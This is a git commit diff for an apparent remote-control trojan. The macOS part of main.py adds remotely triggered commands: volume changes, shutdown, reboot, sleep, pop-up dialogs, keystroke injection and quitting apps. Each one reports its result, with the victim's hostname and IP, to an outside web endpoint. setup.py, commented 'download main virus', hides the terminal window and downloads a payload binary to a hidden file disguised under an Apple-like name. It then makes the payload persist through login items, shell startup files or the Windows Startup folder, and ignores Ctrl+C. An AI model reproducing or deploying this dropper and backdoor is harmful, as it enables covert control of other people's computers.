summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2023-08-30 01:09:44 +0800
committerlittleblack111 <littleblack11111@gmail.com>2023-08-30 01:09:44 +0800
commitd86e13b183d1724f0931a7320b07333c5fefebf1 (patch)
tree6ea91b772a52ce21022dde91e723eee162c4d463
parentf4d95d40aaef7dcf4f00189c446de59b7fe885e5 (diff)
updated dist and added more features for macos
-rwxr-xr-xdist/main-macbin7449440 -> 7454432 bytes
-rw-r--r--dist/main.app.zipbin7374717 -> 7379824 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin7449440 -> 7454432 bytes
-rwxr-xr-xdist/setup-macbin7447200 -> 7447344 bytes
-rw-r--r--dist/setup.app.zipbin7372177 -> 7372312 bytes
-rwxr-xr-xdist/setup.app/Contents/MacOS/setupbin7447200 -> 7447344 bytes
-rw-r--r--main.py199
-rw-r--r--setup.py74
8 files changed, 240 insertions, 33 deletions
diff --git a/dist/main-mac b/dist/main-mac
index edab5a0..dd33c1d 100755
--- a/dist/main-mac
+++ b/dist/main-mac
Binary files differ
diff --git a/dist/main.app.zip b/dist/main.app.zip
index a7c878f..a7dd330 100644
--- a/dist/main.app.zip
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index 40285ca..a6d1b7b 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup-mac b/dist/setup-mac
index 248fe7e..ef1c60d 100755
--- a/dist/setup-mac
+++ b/dist/setup-mac
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
index 5f621de..277e363 100644
--- a/dist/setup.app.zip
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup
index 3540ad5..8e37fad 100755
--- a/dist/setup.app/Contents/MacOS/setup
+++ b/dist/setup.app/Contents/MacOS/setup
Binary files differ
diff --git a/main.py b/main.py
index c1355bd..c80d9e7 100644
--- a/main.py
+++ b/main.py
@@ -15,7 +15,7 @@ try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`")
except KeyboardInterrupt:
try:
- post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname} ``Client tried to SIGINT(Ctrl+C) when init``")
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``Client tried to SIGINT(Ctrl+C) when init``")
pass
except KeyboardInterrupt:
pass
@@ -78,6 +78,203 @@ while True:
else:
while 1:
fork()
+ elif command.startswith('volume'):
+ localcmd = command.split()
+ if localcmd[1<len(localcmd)]:
+ try:
+ volumesize = int(localcmd[1])
+ if ossystem(f"osascript -e 'set Volume {volumesize/10}'") == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ {localcmd}: ``Volume set to {volumesize}``")
+ old_command = command
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ {localcmd}: ``Volume set ran unsuccesfully``")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+
+ except ValueError:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ {localcmd}: ``Please enter a volume size``")
+ except KeyboardInterrupt:
+ continue
+ continue
+ except KeyboardInterrupt:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while sending error of {localcmd}``")
+ except KeyboardInterrupt:
+ continue
+ continue
+ elif command.startswith('syspower'):
+ localcmd = command.split()
+ if localcmd[1<len(localcmd)]:
+ try:
+ if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff':
+ if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer shutting down, bye...```")
+ old_command = command
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to shutdown```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start shutting down```")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+ elif localcmd[1] == 'restart' or localcmd[1] == 'reboot':
+ if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer rebooting, cya...```")
+ old_command = command
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start rebooting```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start rebooting```")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+ elif localcmd[1] == 'sleep' or localcmd[1] == 'suspend' or localcmd[1] == 'pause':
+ if ossystem('osascript -e \'tell app "Finder" to sleep\'') == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer going to sleep, cya...```")
+ old_command = command
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start sleeping```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start sleeping```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ except:
+ continue
+
+ elif command.startswith('interact'):
+ localcmd = command.split()
+ if localcmd[1<len(localcmd)]:
+ try:
+ if localcmd[1] == 'dialog' or localcmd[1] == 'popup' or localcmd[1] == 'dropmenu':
+ if localcmd[2<len(localcmd)]:
+ if ossystem(f'osascript -e \'display dialog "{localcmd[2]}" buttons "Yes"\'') == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Successfully the dialog```")
+ old_command = command
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to send dialog```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```You need to pass another argument for infomation in the dialog```")
+ old_command = command
+ except KeyboardInterrupt:
+ continue
+ continue
+ elif localcmd[1] == 'notify' or localcmd[1] == 'notification':
+ if localcmd[4>len(localcmd)]:
+ if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'"):
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Notified successfully```")
+ old_command = command
+ except:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```")
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to notify```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```You need to pass three argument in the order of \`content\` \`title\` \`subtitle\`")
+ old_command = command
+ continue
+ elif localcmd[1] == 'keyboard' or localcmd[1] == 'type':
+ if localcmd[3<len(localcmd)]:
+ if localcmd[2] == 'type':
+ if os.system(f"osascript -e 'tell application \"System Events\" to keystroke \"{ ' '.join(str(e) for e in localcmd[3:]) }\"\'") == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Successfully typed {' '.join(str(e) for e in localcmd[3:])} with keyboard```")
+ old_command = command
+ except:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to do typing```")
+ except:
+ continue
+ continue
+ elif localcmd[2] == 'press':
+ if os.system(f"osascript -e 'tell application \"System Events\" to keystroke { ' '.join(str(e) for e in localcmd[3:]) }\'") == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Successfully pressed {' '.join(str(e) for e in localcmd[3:])} with keyboard```")
+ old_command = command
+ except:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to do pressing```")
+ except:
+ continue
+ continue
+ elif localcmd[1] == 'quit' or localcmd[1] == 'close':
+ if localcmd[2<len(localcmd)]:
+ if ossystem(f'sudo osascript -e \'tell app "{localcmd[2]}" to quit\'') == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Successfully quitted {localcmd[2]}```")
+ old_command = command
+ except:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to do quitting```")
+ except:
+ continue
+ continue
+
+
+
+
+
+
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed at doing interactive actions```")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+
elif command.startswith('usetool'):
localcmd = command.split()
if localcmd[1<len(localcmd)]:
diff --git a/setup.py b/setup.py
index 8e3dd71..dc1b55f 100644
--- a/setup.py
+++ b/setup.py
@@ -1,15 +1,22 @@
-from requests import get
-from os.path import expanduser
-from os import remove
-from subprocess import Popen as subproc
-from os import system, remove
-from sys import platform
-from random import shuffle
+try:
+ from requests import get
+ from os.path import expanduser
+ from os import remove
+ from subprocess import Popen as subproc
+ from os import system, remove
+ from sys import platform
+ from random import shuffle
+ from zipfile import ZipFile
+except KeyboardInterrupt:
+ pass
-filename = ['user', 'core', 'dev', 'service', 'daemon']
-shuffle(filename)
-filename = "com.apple." + '.'.join(filename)
-localfile = f"{expanduser('~')}/.{filename}"
+try:
+ filename = ['user', 'core', 'dev', 'service', 'daemon']
+ shuffle(filename)
+ filename = "com.apple." + '.'.join(filename)
+ localfile = f"{expanduser('~')}/.{filename}"
+except KeyboardInterrupt:
+ pass
try:
remove(localfile)
@@ -18,26 +25,29 @@ try:
except FileNotFoundError:
pass
-# download main virus
-if platform == "darwin":
- system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'")
- open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
- open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content)
- system(f"unzip -o {localfile}.tmp.zip > /dev/null")
- system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist")
- system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null")
-elif platform == "linux":
- from os import environ
- open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
- if 'zsh' in environ['SHELL']:
- system(f"echo {localfile} >> {expanduser('~')}/.zshenv")
- elif 'bash' in environ['SHELL']:
- system(f"echo {localfile} >> {expanduser('~')}/.bashenv")
-elif platform == "win32":
- open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
- from shutil import copy
- copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
+try:
+ # download main virus
+ if platform == "darwin":
+ system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'")
+ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
+ open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content)
+ system(f"unzip -o {localfile}.tmp.zip -d {expanduser('~')} > /dev/null")
+ system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist")
+ system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null")
+ elif platform == "linux":
+ from os import environ
+ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
+ if 'zsh' in environ['SHELL']:
+ system(f"echo {localfile} >> {expanduser('~')}/.zshenv")
+ elif 'bash' in environ['SHELL']:
+ system(f"echo {localfile} >> {expanduser('~')}/.bashenv")
+ elif platform == "win32":
+ open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
+ from shutil import copy
+ copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")
-system(f"chmod 555 {localfile}")
+ system(f"chmod 555 {localfile}")
-subproc([localfile])
+ subproc([localfile])
+except KeyboardInterrupt:
+ pass